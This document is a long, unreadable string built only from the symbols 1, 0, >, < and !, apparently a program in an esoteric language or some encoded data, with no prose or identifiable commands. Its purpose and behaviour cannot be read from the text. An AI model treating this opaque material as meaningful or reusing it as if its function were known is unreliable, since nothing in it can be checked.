!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1010>010110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!<>1!1!1>01010111>01!<>10110>1!1!1!1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>01010111>01!<>1>0><>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1010>010110>1!1>0>1!1>0>1!1!<>1!1!<>1!1!1>01010111>01!1!<>1!1>0>1!1!1!1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>01010111>01!<>1>0><>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1010>010110>1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1!1!<>1!1!1>01010111>0<>1!1>0>1>01010111>010110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>01010111>01!<>1>0><>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!10110>1!1>0>10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>010110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!<>1!1!10110>10110>10110>1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!<>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1>0><>1!1!1!1!1!1!1!<>1!1!1!1!1!1!<>1>0>1!1!1!1!1>0>1!1>0>1>0>10110>1!1010>01>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1>0>10110>1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!<>1!1>0>1>0>1!10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1!1!1>0><>1!1!<>1>0>1!1!1>0>1010>01010>01>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!1!<>1!1!1!1!1>0>1!1!<>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1!1>0>1!1>0>1!10110>1!1!1!<>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1!<>1!1!1!1!1>0>1!<>1>0>1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!<>1>0>1!1!1>0>1!1!1!1010>01010>01>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1!1!1>0>1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>101101010111>01!1>0>10110>1!1!<>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>10110>1!1!1>0>1!1!1!1>0>10110>1!1>0>1!1!1!1!1!<>1!1!1!1!1>0>1!1!1!1!1!1!1!<>1>0>1!1>0>10110><>1>0>10110>1!1!<>1>0>1!1!1>0>1010>01010>010110>1!1!1>01010111>01!1>0>1>0>1!1!1!1!1!<>1!1!1!1!1>0>1!<>1!1!10110>1!1>0>1!1>0>101101010111>01>0>1!10110>1!1!<>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!10110>1!1!1!1!1!<>1!1!1!1!1>0>1!1!1!1!1!<>1>0>1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!10110>1!1!1!<>1>0>1!1!1>0>1!1010>01010>01>0>1>0>1!1!1>01010111>010110>1!1!1!1!1!<>1!1!1!1!1>0>1!<>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1>01010111>01!1!1!1!1!1!1!<>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>10110>1!1!1!1!1!<>1!1!1!1!1>0>1!<>1>0>1!1>0>1>0>1!1!1>0>1!1>0>10110>1!<>10110>1!1!<>1>0>1!1!1>0>1010>01010>01>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1!1!<>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!<>1!1!1>0>1!1!1>0>1!1>0>10110>1!1!1!1!1!10110>10110>1!1!<>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1>0>1!<>1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1>0>1!1>0>10110><>1>0>10110>1!1!<>1>0>1!1!1>0>1!1!1010>01010>01>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!<>1!1>0>10110>1!1!1>0>101101010111>01!1>0>10110>1!1!<>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>010110>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!<>1>0>1!1!10110>1!1!1>0>101101010111>01>0>1!10110>1!1!<>1>0>1!1!1>0>1!1010>01010>01>0>1!1!1!1>0>1!<>1>0>1!1!1!1!1!<>1!1!1!1!1>0>1!<>1>0>1!1>0>1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!<>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1!1!10110>10110>1!1!1!1!1!<>1!1!1!1!1>0>1!<>1!10110>1!1>0>1!1!1>0>10110>1!<>10110>1!1!<>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1!<>1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0><>1!1!<>1>0>1!1!1>0>1010>01010>01>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!<>1!1!1>0>1!1!1>0>1!1!1>0>101101010111>01>0>1!10110>1!1!<>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>01010111>01!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1!<>10110>1!1!1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1>0>1!1!1!<>1!1!1>0>1!1!1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1>0>1!1!<>1!1!1>0>1!1!1!1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!<>1!1>0>10110>1!1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1>0>1!1!<>1>0><>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!<>1!1>0>1!1>0>10110>1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!<>1!1!10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!<>1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!10110>10110>1!1>0>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1>0>1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!<>1!1>0>10110>1!1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!<>1!1>0>1!1!1>0>1!1>0>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!<>1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!<><>1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!<>1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!<><>1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!<>1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!<><>1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!<>1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!<><>1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!<>1!1>0>10110>1!1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!<>10110>1!1>0>1>0>1!1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!<>1!1>0>1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>10110><>1>0>1!1>0>1!1!1!1!1!<>1!1!1!1!1!1!<>1!10110>1!1>0>1!1!1>0>1!1>0>1>01010111>01!1!1!1!1!1!1!<>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1010>01>0>1>0>1!1!1!1!1!1!1!<>1!10110>1!1>0>1!1!1>0>10110>1!1!1!10110>1!1!1!1>0>1>0>1!1!1!<>1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!<>1!1>0>1!1>0>1!1>0>1!1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!<>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1>0>10110>1!1!1!10110>1!1!1!1>0><>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!10110>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>01010111>01!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1!1!1010>01010>01>0>1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1>0>1!1>0>1!10110>1!1!1!1>0>1!1>0>10110>1!1>0>1!1!1!<>1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1!1!1!10110>1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1>0>1!1>0>1!10110>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!<>1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1>01010111>01>0>1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!<>1>0>10110>1!1!1>0>1!10110>1!1!1!1!1>0>1!10110>1!1!1!1!<>1!1!1!1>0>1!1!1>0>1010>01010>01>0>1>01010111>01!1!1!1>0>1!1!<>1!1!1!1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1!1>0>1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!<>1>0>1!1!1>0>1!1!1!1>0>1>0><>10110>1!1!1!1!1>0>1!10110>1!1!<>1!1!1!1!<>1>0>1!1!1>0>1!1!1!1>0>1>0>1!<>1!1>0>1!1!1!1!1>0>1!10110>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1!<>1>0>1!1!1>0>1!1!1!1>0>1>0><>1!1>01010111>01!10110>1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!<>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!<>1!101101010111>01!1!1!1!1!1!1!<>1>0>1!1!1>0>1!1!1!1!1>0><>1>0>1!1>0>1>0>10110>1!1!10110>1!1!1!1>0>1>0>1!1>0>1>0>10110>1!1!<>1>0>1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1>0>10110>1!1!10110>1!1!1!1!1>0>1!1!1>0>10110>1!1!<>1>0>1!1!1>0>1!1!1!1!1>0><>1!1!1!1>0>10110>1!1!10110>1!1!1!1>0>1!1!1>0>1!10110>1!1!<>1>0>1!1!1>0>1!1!1!1!1>0>1!1!<>1>0>1!10110>1!1!10110>1!1!1!1!1!1!1!1!10110>1!1!<>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!10110>1!1!10110>1!1!10110>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!<>1>0>1!1!1>0>1!1!1!1!1>0>1!<>1!1!1!10110>1!1!10110>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!<>1>0>1!1!1>0>1!1!1!1!1>0><>1!10110>1!1>0>1>0>1!1!10110>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!<>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!<>1>0>1!1>0>1>0>1!1!10110>1!1!1!1!1>0>1!10110>1!1>0>1!1!<>1>0>1!1!1>0>1!1!1!1!1>0><>1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!<>1>0>1!1>0>1!1!<>1>0>1!1!1>0>1!1!1!1!1>0><>10110>1!1!1>0>1>0>1!1!10110>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!<>1>0>1!1!1>0>1!1!1!1!1>0><>1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!1>0>1!1!<>1>0>1!1!1>0>1!1!1!1!1>0><>1>0>1!1>0>1!1!1>0>1>0>1!1!101101010111>01!1>0>1!1!1>0>1!1!<>1>0>1!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1!1>0>1>0>1!1!1!10110>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!<>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!10110>1!1!1!1>0>1>0>1!1!10110>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1!1!1!1>0>1!1!1!1!1>0><>1>0>1!1!1!1!1>0>1>0>1!1!10110>1!1!1!1>0><>1>0>1!<>1>0>1!1!1>0>1!1!1!1!1>0>1!<>1!10110>1!1>0>1!1!10110>1!1!1!1!10110>10110>1!1!1!<>1!1!1!1>0>1!1!1!1!1>0><>1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1!1>0>10110>1!1!1!<>1!1!1!1>0>1!1!1!1!1>0>1